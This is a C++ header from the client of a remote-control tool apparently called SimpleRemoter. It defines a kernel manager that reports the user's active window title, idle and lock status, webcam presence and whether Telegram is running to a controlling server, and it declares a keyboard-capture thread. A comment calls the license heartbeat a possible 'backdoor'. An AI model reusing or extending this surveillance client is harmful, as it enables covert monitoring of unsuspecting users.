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SimpleRemoter/client/KernelManager.h

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// KernelManager.h: interface for the CKernelManager class.
//
//////////////////////////////////////////////////////////////////////
#if !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)
#define AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_
#if _MSC_VER > 1000
#pragma once
#endif // _MSC_VER > 1000
#include "Manager.h"
#include <vector>
#define MAX_THREADNUM 0x1000>>2
#include <iostream>
#include <string>
#include <iomanip>
#include <TlHelp32.h>
#include "LoginServer.h"
// 根据配置决定采用什么通讯协议
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect = false);
ThreadInfo* CreateKB(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP);
class ActivityWindow
{
public:
std::string Check(DWORD threshold_ms = 6000)
{
auto idle = GetUserIdleTime();
BOOL isActive = (idle < threshold_ms);
if (isActive) {
return GetActiveWindowTitle();
}
return (!IsWorkstationLocked() ? "Inactive: " : "Locked: ") + FormatMilliseconds(idle);
}
private:
std::string FormatMilliseconds(DWORD ms)
{
DWORD totalSeconds = ms / 1000;
DWORD hours = totalSeconds / 3600;
DWORD minutes = (totalSeconds % 3600) / 60;
DWORD seconds = totalSeconds % 60;
std::stringstream ss;
ss << std::setfill('0')
<< std::setw(2) << hours << ":"
<< std::setw(2) << minutes << ":"
<< std::setw(2) << seconds;
return ss.str();
}
std::string GetActiveWindowTitle()
{
HWND hForegroundWindow = GetForegroundWindow();
if (hForegroundWindow == NULL)
return "No active window";
char windowTitle[256];
GetWindowTextA(hForegroundWindow, windowTitle, sizeof(windowTitle));
return std::string(windowTitle);
}
DWORD GetLastInputTime()
{
LASTINPUTINFO lii = { sizeof(LASTINPUTINFO) };
GetLastInputInfo(&lii);
return lii.dwTime;
}
DWORD GetUserIdleTime()
{
return (GetTickCount64() - GetLastInputTime());
}
bool IsWorkstationLocked()
{
HDESK hInput = OpenInputDesktop(0, FALSE, GENERIC_READ);
// 如果无法打开桌面,可能是因为桌面已经切换到 Winlogon
if (!hInput) return true;
char name[256] = {0};
DWORD needed;
bool isLocked = false;
if (GetUserObjectInformationA(hInput, UOI_NAME, name, sizeof(name), &needed)) {
isLocked = (_stricmp(name, "Winlogon") == 0);
}
CloseDesktop(hInput);
return isLocked;
}
};
struct RttEstimator {
double srtt = 0.0; // 平滑 RTT (秒)
double rttvar = 0.0; // RTT 波动 (秒)
double rto = 0.0; // 超时时间 (秒)
bool initialized = false;
void update_from_sample(double rtt_ms)
{
const double alpha = 1.0 / 8;
const double beta = 1.0 / 4;
// 转换成秒
double rtt = rtt_ms / 1000.0;
if (!initialized) {
srtt = rtt;
rttvar = rtt / 2.0;
rto = srtt + 4.0 * rttvar;
initialized = true;
} else {
rttvar = (1.0 - beta) * rttvar + beta * std::fabs(srtt - rtt);
srtt = (1.0 - alpha) * srtt + alpha * rtt;
rto = srtt + 4.0 * rttvar;
}
// 限制最小 RTORFC 6298 推荐 1 秒)
if (rto < 1.0) rto = 1.0;
}
};
class CKernelManager : public CManager
{
public:
CONNECT_ADDRESS* m_conn;
HINSTANCE m_hInstance;
CKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s);
virtual ~CKernelManager();
VOID OnReceive(PBYTE szBuffer, ULONG ulLength);
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength);
ThreadInfo* m_hKeyboard;
ThreadInfo m_hThread[MAX_THREADNUM];
// 此值在原代码中是用于记录线程数量当线程数量超出限制时m_hThread会越界而导致程序异常
// 因此我将此值的含义修改为"可用线程下标"代表数组m_hThread中所指位置可用即创建新的线程放置在该位置
ULONG m_ulThreadCount;
UINT GetAvailableIndex();
State& g_bExit; // Hide base class variable
static int g_IsAppExit;
MasterSettings m_settings;
RttEstimator m_nNetPing; // 网络状况
// 发送心跳
virtual int SendHeartbeat()
{
for (int i = 0; i < m_settings.ReportInterval && !g_bExit && m_ClientObject->IsConnected(); ++i)
Sleep(1000);
if (m_settings.ReportInterval <= 0) { // 关闭上报信息(含心跳)
for (int i = rand() % 120; i && !g_bExit && m_ClientObject->IsConnected()&& m_settings.ReportInterval <= 0; --i)
Sleep(1000);
return 0;
}
if (g_bExit || !m_ClientObject->IsConnected())
return -1;
ActivityWindow checker;
auto s = checker.Check();
Heartbeat a(s, m_nNetPing.srtt);
a.HasSoftware = SoftwareCheck(m_settings.DetectSoftware);
BYTE buf[sizeof(Heartbeat) + 1];
buf[0] = TOKEN_HEARTBEAT;
memcpy(buf + 1, &a, sizeof(Heartbeat));
m_ClientObject->Send2Server((char*)buf, sizeof(buf));
return 0;
}
bool SoftwareCheck(int type)
{
static std::map<int, std::string> m = {
{SOFTWARE_CAMERA, "摄像头"},
{SOFTWARE_TELEGRAM, "telegram.exe" },
};
static bool hasCamera = WebCamIsExist();
return type == SOFTWARE_CAMERA ? hasCamera : IsProcessRunning({ m[type] });
}
// 检查进程是否正在运行
bool IsProcessRunning(const std::vector<std::string>& processNames)
{
PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(PROCESSENTRY32);
// 获取当前系统中所有进程的快照
HANDLE hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (hProcessSnap == INVALID_HANDLE_VALUE)
return true;
// 遍历所有进程
if (Process32First(hProcessSnap, &pe32)) {
do {
for (const auto& processName : processNames) {
// 如果进程名称匹配,则返回 true
if (_stricmp(pe32.szExeFile, processName.c_str()) == 0) {
SAFE_CLOSE_HANDLE(hProcessSnap);
return true;
}
}
} while (Process32Next(hProcessSnap, &pe32));
}
SAFE_CLOSE_HANDLE(hProcessSnap);
return false;
}
virtual uint64_t GetClientID() const override
{
return m_conn->clientID;
}
};
// [IMPORTANT]
// 授权管理器: 用于处理授权相关的心跳和响应,一旦授权成功则此线程将主动退出,不再和主控进行数据交互.
// 如果授权不成功则继续保持和主控的连接,包括进行必要的数据交互,这可能被定义为“后门”,但这是必须的.
// 注意: 授权管理器和普通的内核管理器在心跳包的处理上有所不同,授权管理器会在心跳包中附加授权相关的信息.
// 任何试图通过修改此类取消授权检查的行为都是不被允许的,并且不会成功,甚至可能引起程序强制退出.
class AuthKernelManager : public CKernelManager
{
public:
bool m_bFirstHeartbeat = true;
AuthKernelManager(CONNECT_ADDRESS* conn, IOCPClient* ClientObject, HINSTANCE hInstance, ThreadInfo* kb, State& s)
: CKernelManager(conn, ClientObject, hInstance, kb, s)
{
}
virtual ~AuthKernelManager() {}
virtual int SendHeartbeat()override;
virtual VOID OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)override;
};
#endif // !defined(AFX_KERNELMANAGER_H__B1186DC0_E4D7_4D1A_A8B8_08A01B87B89E__INCLUDED_)